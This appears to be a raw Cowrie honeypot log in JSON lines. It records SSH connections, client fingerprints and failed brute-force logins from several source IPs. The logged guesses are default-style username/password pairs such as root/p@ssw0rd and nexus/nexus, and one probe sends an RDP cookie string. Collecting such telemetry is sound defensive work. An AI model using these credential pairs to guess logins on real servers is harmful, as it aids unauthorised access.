{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:36.268725Z","src_ip":"122.168.114.167","session":"b9d3e745f3af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:44.439886Z","src_ip":"122.168.114.167","session":"b9d3e745f3af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:47.788830Z","src_ip":"122.168.114.167","session":"b9d3e745f3af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36188,"dst_ip":"159.203.135.109","dst_port":22,"session":"806025e5670d","protocol":"ssh","message":"New connection: 122.168.114.167:36188 (159.203.135.109:22) [session: 806025e5670d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:13.848311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:15.255970Z","src_ip":"122.168.114.167","session":"806025e5670d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:15.261524Z","src_ip":"122.168.114.167","session":"806025e5670d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177526473999,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:19.811256Z","src_ip":"152.58.79.133","session":"e578e34566ba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:22.777570Z","src_ip":"122.168.114.167","session":"806025e5670d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":51070,"dst_ip":"10.17.0.5","dst_port":22,"session":"26881e45e2a7","protocol":"ssh","message":"New connection: 103.97.179.160:51070 (10.17.0.5:22) [session: 26881e45e2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:24.211223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:24.216410Z","src_ip":"103.97.179.160","session":"26881e45e2a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:24.467314Z","src_ip":"103.97.179.160","session":"26881e45e2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin4","password":"admin4","message":"login attempt [admin4/admin4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:25.350058Z","src_ip":"103.97.179.160","session":"26881e45e2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:25.820493Z","src_ip":"122.168.114.167","session":"806025e5670d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:26.566418Z","src_ip":"103.97.179.160","session":"26881e45e2a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.172","src_port":40418,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3d1fbf879f1","protocol":"ssh","message":"New connection: 14.103.114.172:40418 (10.17.0.5:22) [session: d3d1fbf879f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:48.870103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:49.265342Z","src_ip":"14.103.114.172","session":"d3d1fbf879f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38596,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff4d23f56a32","protocol":"ssh","message":"New connection: 122.168.114.167:38596 (159.203.135.109:22) [session: ff4d23f56a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:51.915836Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.211.125.105","src_port":54902,"dst_ip":"10.17.0.5","dst_port":22,"session":"5054299dcf07","protocol":"ssh","message":"New connection: 171.211.125.105:54902 (10.17.0.5:22) [session: 5054299dcf07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:52.364948Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":57740,"dst_ip":"159.203.135.109","dst_port":22,"session":"a008db197754","protocol":"ssh","message":"New connection: 103.149.252.223:57740 (159.203.135.109:22) [session: a008db197754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:52.478597Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:52.483376Z","src_ip":"103.149.252.223","session":"a008db197754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:52.488743Z","src_ip":"103.149.252.223","session":"a008db197754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:52.628278Z","src_ip":"171.211.125.105","session":"5054299dcf07","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:53.643299Z","src_ip":"122.168.114.167","session":"ff4d23f56a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:50:53.647032Z","src_ip":"122.168.114.167","session":"ff4d23f56a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:03.272396Z","src_ip":"122.168.114.167","session":"ff4d23f56a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:06.715553Z","src_ip":"122.168.114.167","session":"ff4d23f56a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":59100,"dst_ip":"10.17.0.5","dst_port":22,"session":"20b18c04e5ee","protocol":"ssh","message":"New connection: 190.108.60.101:59100 (10.17.0.5:22) [session: 20b18c04e5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:13.405561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:13.410522Z","src_ip":"190.108.60.101","session":"20b18c04e5ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:13.592766Z","src_ip":"190.108.60.101","session":"20b18c04e5ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"secure","message":"login attempt [ubuntu/secure] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:14.350476Z","src_ip":"190.108.60.101","session":"20b18c04e5ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:15.532215Z","src_ip":"190.108.60.101","session":"20b18c04e5ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":58668,"dst_ip":"10.17.0.5","dst_port":22,"session":"20af359550cc","protocol":"ssh","message":"New connection: 103.97.179.160:58668 (10.17.0.5:22) [session: 20af359550cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:19.718160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:19.724090Z","src_ip":"103.97.179.160","session":"20af359550cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:19.962515Z","src_ip":"103.97.179.160","session":"20af359550cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2024","message":"login attempt [ftpuser/ftpuser2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:20.821825Z","src_ip":"103.97.179.160","session":"20af359550cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:22.030814Z","src_ip":"103.97.179.160","session":"20af359550cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40986,"dst_ip":"159.203.135.109","dst_port":22,"session":"72e546e35a6c","protocol":"ssh","message":"New connection: 122.168.114.167:40986 (159.203.135.109:22) [session: 72e546e35a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:30.762729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:32.974622Z","src_ip":"122.168.114.167","session":"72e546e35a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:32.978226Z","src_ip":"122.168.114.167","session":"72e546e35a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:43.439153Z","src_ip":"122.168.114.167","session":"72e546e35a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:47.170922Z","src_ip":"122.168.114.167","session":"72e546e35a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.60.136.40","src_port":34646,"dst_ip":"10.17.0.5","dst_port":22,"session":"fec740304c68","protocol":"ssh","message":"New connection: 123.60.136.40:34646 (10.17.0.5:22) [session: fec740304c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:53.594638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:53.598618Z","src_ip":"123.60.136.40","session":"fec740304c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:53.840892Z","src_ip":"123.60.136.40","session":"fec740304c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps123!@#","message":"login attempt [root/vps123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:55.472948Z","src_ip":"123.60.136.40","session":"fec740304c68","protocol":"ssh"}
